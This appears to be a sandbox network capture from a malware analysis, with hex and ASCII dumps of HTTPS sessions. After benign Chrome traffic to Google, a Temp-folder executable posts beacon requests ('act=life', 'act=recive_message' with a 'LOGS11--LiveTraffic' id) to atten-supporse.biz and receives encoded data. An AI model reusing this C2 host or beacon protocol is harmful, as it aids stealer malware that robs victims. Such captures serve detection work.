2024-12-09 19:27:27 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 09 Dec 2024 19:27:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-09 19:27:27 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-09 19:27:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49758	172.217.17.78	443	7920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:27:33 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.x7CxCIZpks8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo8czmnaLIncRgBQP7N2THncpDJ9mQ/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 19:27:34 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 116987 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 05 Dec 2024 11:08:11 GMT Expires: Fri, 05 Dec 2025 11:08:11 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 11 Nov 2024 18:41:25 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 375563 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-09 19:27:34 UTC	474	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 32 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 61 61 2c 62 61 2c 66 61 2c 6d 61 2c 6e 61 2c 72 61 2c 73 61 2c 75 61 3b 61 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);var aa,ba,fa,ma,na,ra,sa,ua;aa=fun
2024-12-09 19:27:34 UTC	1390	IN	Data Raw: 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 Data Ascii: rn a;a[b]=c.value;return a};fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw
2024-12-09 19:27:34 UTC	1390	IN	Data Raw: 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 61 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 72 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 73 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 Data Ascii: defined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:aa(a)};throw Error("b`"+String(a));};ra=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};sa=typeof Object.assign=="function"?Object
2024-12-09 19:27:34 UTC	1390	IN	Data Raw: 30 3b 74 68 69 73 2e 4b 72 3d 5b 5d 3b 74 68 69 73 2e 58 55 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 61 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 4d 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 48 4a 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 4d 64 61 3d 66 75 6e 63 74 Data Ascii: 0;this.Kr=[];this.XU=!1;var k=this.aF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.aF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Mda),reject:h(this.HJ)}};e.prototype.Mda=funct
2024-12-09 19:27:34 UTC	1390	IN	Data Raw: 6f 74 6f 74 79 70 65 2e 79 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4b 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4b 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 4d 4f 28 74 68 69 73 2e 4b 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4b 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 61 46 28 29 3b 68 2e 5a 78 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 75 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 72 20 6c 3d 74 68 69 73 2e 61 46 28 29 3b 74 72 79 7b 68 2e 63 61 6c 6c 28 6b 2c 6c 2e 72 65 73 6f 6c 76 Data Ascii: ototype.y7=function(){if(this.Kr!=null){for(var h=0;h<this.Kr.length;++h)f.MO(this.Kr[h]);this.Kr=null}};var f=new b;e.prototype.tfa=function(h){var k=this.aF();h.Zx(k.resolve,k.reject)};e.prototype.ufa=function(h,k){var l=this.aF();try{h.call(k,l.resolv
2024-12-09 19:27:34 UTC	1390	IN	Data Raw: 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6d 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 42 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 66 26 26 63 3c 65 3b 29 69 66 28 64 5b 63 2b 2b 5d 21 3d 62 5b 68 2b 2b 5d 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 68 3e 3d 66 7d Data Ascii: regular expression");return a+""};ma("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ba(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<f&&c<e;)if(d[c++]!=b[h++])return!1;return h>=f}
2024-12-09 19:27:34 UTC	1390	IN	Data Raw: 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 72 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 63 28 6c 29 26 26 72 61 28 6c 2c 66 29 3f 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3a 76 6f 69 Data Ascii: a(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!ra(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.prototype.get=function(l){return c(l)&&ra(l,f)?l[f][this.Ga]:voi
2024-12-09 19:27:34 UTC	1390	IN	Data Raw: 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 58 65 2e 50 6b 2e 6e 65 78 74 3d 6b 2e 58 65 2e 6e 65 78 74 2c 6b 2e 58 65 2e 6e 65 78 74 2e 50 6b 3d 0a 6b 2e 58 65 2e 50 6b 2c 6b 2e 58 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 50 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 72 65 74 75 72 6e 21 21 64 28 74 68 69 73 2c 6b 29 2e 58 65 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e Data Ascii: th\|\|delete this[0][k.id],k.Xe.Pk.next=k.Xe.next,k.Xe.next.Pk=k.Xe.Pk,k.Xe.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Pk=f();this.size=0};c.prototype.has=function(k){return!!d(this,k).Xe};c.prototype.get=function
2024-12-09 19:27:34 UTC	1390	IN	Data Raw: 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 3d 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 66 2e 76 61 6c 75 65 5b 30 5d 3f 21 31 3a 65 2e 6e Data Ascii: c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.next();return f.done\|\|f.value[0]==c\|\|f.value[0].x!=4\|\|f.value[1]!=f.value[0]?!1:e.n
2024-12-09 19:27:34 UTC	1390	IN	Data Raw: 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 3e 3e 3e 31 30 26 31 30 32 33 7c 35 35 32 39 36 29 2c 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 26 31 30 32 33 7c 35 36 33 32 30 29 29 7d 72 65 74 75 72 6e 20 63 7d 7d 29 3b 6d 61 Data Ascii: ;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536,c+=String.fromCharCode(e>>>10&1023\|55296),c+=String.fromCharCode(e&1023\|56320))}return c}});ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49830	104.21.64.1	443	3320	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:28:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 19:28:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 19:28:26 UTC	1017	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dcdcarf0uid4ss354bt46jrd76; expires=Fri, 04-Apr-2025 13:15:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j3hK5bUW95ARVAYg%2BXVmmJdFcpdJImYbuM7%2BHBWLtHE%2BwVY0u0cNtbcv0J2sIgh5QcrE0K3JVzrsRaOowiorbyyNYfXCHFlgqSUJMyZrdNkh8gfhInuRfMDYE56OxfiJHthapPs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef765f0be2543f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2379&min_rtt=1841&rtt_var=1074&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1586094&cwnd=204&unsent_bytes=0&cid=6fff5c70b4a093be&ts=1548&x=0"
2024-12-09 19:28:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 19:28:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49875	104.21.64.1	443	5868	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:28:41 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 19:28:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 19:28:42 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=72o7fnv56g7rd5rshvpdptpu29; expires=Fri, 04-Apr-2025 13:15:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yryQjP2EzWG2ErmwK%2B5muZNmZyRGUO0F3XUKmVG2z3%2Baj1H6IPpZdlgF0o1%2BK6cNhx3O9be5n%2BiGDmGeARKaJZPGUao%2FZADJpNxpzLdi8CMBrD5FErk2E%2BMIT%2BZZyuMykW2%2F2tA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef76656f801c35b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1498&min_rtt=1498&rtt_var=749&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4230&recv_bytes=909&delivery_rate=157607&cwnd=188&unsent_bytes=0&cid=5a5e5940c878131f&ts=736&x=0"
2024-12-09 19:28:42 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 19:28:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49883	104.21.64.1	443	5868	C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 19:28:44 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 19:28:44 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 19:28:46 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 19:28:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i1b2vepfqr22ujpubqh3ru35g7; expires=Fri, 04-Apr-2025 13:15:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xX8czt66t8sfJlw2dmKWjp1dHq49K%2BpWGMNc5OEbyH8Cd%2FVlYBv8uwIMrSFrVzvlMML39zoAnz1hya7DmwEhQ85GS7J6MOysynnXOeTr2oH6h0boAINpudhOIKv09joRBqsKHKE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef766658ce443f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1726&min_rtt=1721&rtt_var=655&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1657207&cwnd=204&unsent_bytes=0&cid=38454f55203f7c6a&ts=2000&x=0"
2024-12-09 19:28:46 UTC	355	IN	Data Raw: 34 39 31 63 0d 0a 75 46 7a 4c 74 6f 57 47 44 58 7a 71 6f 66 63 42 6e 38 58 57 32 34 6e 6e 65 68 70 4a 64 78 67 64 6f 65 6d 32 37 77 59 73 68 61 66 44 66 72 32 55 76 37 49 68 58 70 6e 45 31 54 76 72 74 36 4f 2b 70 63 55 62 66 6d 74 4e 66 6e 7a 4e 6d 74 50 44 4a 46 72 6f 68 59 49 36 71 74 72 32 34 79 46 65 6a 39 6e 56 4f 38 53 2b 39 4c 37 6e 78 55 41 34 4c 42 31 36 66 4d 32 4c 31 34 52 70 58 4f 6e 45 30 44 43 73 33 75 44 6c 61 52 32 47 7a 4a 4a 6b 2b 71 53 38 74 65 43 4b 45 6e 64 72 57 7a 70 34 32 38 75 4d 7a 55 74 4a 38 63 62 31 50 62 6a 64 70 2f 73 68 42 38 6a 45 6d 53 4f 6c 35 37 65 2b 36 34 73 63 66 69 49 66 63 48 58 46 69 74 4b 46 64 6b 58 6a 7a 39 41 2b 72 39 2f 71 37 48 30 51 6a 4d 75 5a 59 76 43 6b 39 50 65 72 67 67 41 34 63 31 55 70 54 63 43 61 78 Data Ascii: 491cuFzLtoWGDXzqofcBn8XW24nnehpJdxgdoem27wYshafDfr2Uv7IhXpnE1Tvrt6O+pcUbfmtNfnzNmtPDJFrohYI6qtr24yFej9nVO8S+9L7nxUA4LB16fM2L14RpXOnE0DCs3uDlaR2GzJJk+qS8teCKEndrWzp428uMzUtJ8cb1Pbjdp/shB8jEmSOl57e+64scfiIfcHXFitKFdkXjz9A+r9/q7H0QjMuZYvCk9PerggA4c1UpTcCax
2024-12-09 19:28:46 UTC	1369	IN	Data Raw: 57 38 4d 67 4d 69 65 5a 75 2b 73 76 62 54 6d 68 52 56 79 4a 42 5a 36 65 4d 6d 42 32 34 64 67 51 2b 72 44 32 6a 37 70 6d 71 66 6a 64 31 37 51 67 37 5a 6d 37 61 43 34 72 36 6d 2f 57 47 64 6c 44 44 70 34 7a 38 75 4d 7a 57 78 4c 35 4d 62 52 4d 61 72 63 37 50 5a 76 44 49 37 4f 6b 48 48 37 6f 72 71 7a 36 4a 63 53 64 69 30 57 63 33 54 4b 6a 74 4f 4a 4a 41 43 6e 77 73 4a 2b 38 5a 54 47 36 57 51 53 67 74 53 56 49 2b 4c 70 72 66 6e 73 69 56 67 67 61 78 46 37 65 38 4b 50 32 6f 4e 67 51 75 48 4c 31 7a 47 76 33 75 66 6a 5a 52 61 41 77 70 68 6f 38 71 65 78 74 4f 2b 44 46 48 6b 75 56 54 51 2f 78 4a 4f 55 31 53 52 67 34 4d 62 49 66 4a 7a 58 36 65 70 6f 43 4d 6a 63 32 33 71 39 6f 4c 6a 35 73 38 55 57 66 53 51 48 65 32 33 47 68 63 61 42 59 55 6a 71 78 74 51 2b 72 4e 50 71 Data Ascii: W8MgMieZu+svbTmhRVyJBZ6eMmB24dgQ+rD2j7pmqfjd17Qg7Zm7aC4r6m/WGdlDDp4z8uMzWxL5MbRMarc7PZvDI7OkHH7orqz6JcSdi0Wc3TKjtOJJACnwsJ+8ZTG6WQSgtSVI+LprfnsiVggaxF7e8KP2oNgQuHL1zGv3ufjZRaAwpho8qextO+DFHkuVTQ/xJOU1SRg4MbIfJzX6epoCMjc23q9oLj5s8UWfSQHe23GhcaBYUjqxtQ+rNPq
